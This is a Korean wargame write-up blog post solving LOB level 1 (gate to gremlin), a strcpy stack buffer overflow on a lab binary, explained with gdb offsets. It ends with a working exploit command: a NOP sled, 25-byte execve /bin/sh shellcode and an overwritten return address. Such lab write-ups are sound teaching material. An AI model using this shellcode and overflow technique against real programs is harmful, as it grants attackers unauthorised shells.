ii4gsp

LOB - Level1 [gate -> gremlin] 본문

시스템 해킹/LOB

LOB - Level1 [gate -> gremlin]

ii4gsp 2020. 1. 13. 22:23

LOB는 \xff를 입력했을 때, \x00으로 처리해버려 쉘을 획득하지 못하는 문제가 발생한다.

그래서 bash2를 입력해주고 문제를 풀어야한다.

gremlin.c 소스코드를 보면 256byte buffer라는 변수가 선언되있고 argc가 2 이상인지 확인하고

strcpy() 함수로 argv[1]에 buffer를 복사한다.

strcpy() 함수에서 취약점이 발생한다.

 

 

 

 

파일을 복사하여 gdb로 파일을 열어주었다.

<main+62>를 보면 buffer가 ebp-256에 위치한것을 알 수 있고

buffer의 크기가 256이니 dummy값 없이 buffer - sfp - ret가 된다.

 

 

 

 

strcpy()함수 호출하고 난 바로 다음인 <main+59>부분을 break point해주고 A로 256개의 값을 채워주었다.

NOP중에서 0xbffff910을 페이로드에 사용하겠다.

페이로드는 NOP * 200 + 25byte 쉘코드 + NOP * 35 + ret가 되겠다.

 

 

 

 

 

payload

./gremlin $(python -c 'print "\x90" * 200  + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" * 35 +  "\x10\xf9\xff\xbf"')

'시스템 해킹 > LOB' 카테고리의 다른 글

LOB - Level6 [wolfman -> darkelf]  (0) 2020.01.14
LOB - Level5 [orc -> wolfman]  (0) 2020.01.14
LOB - Level4 [goblin -> orc]  (0) 2020.01.14
LOB - Level3 [cobolt -> goblin]  (0) 2020.01.13
LOB - Level2 [gremlin -> cobolt]  (0) 2020.01.13
Comments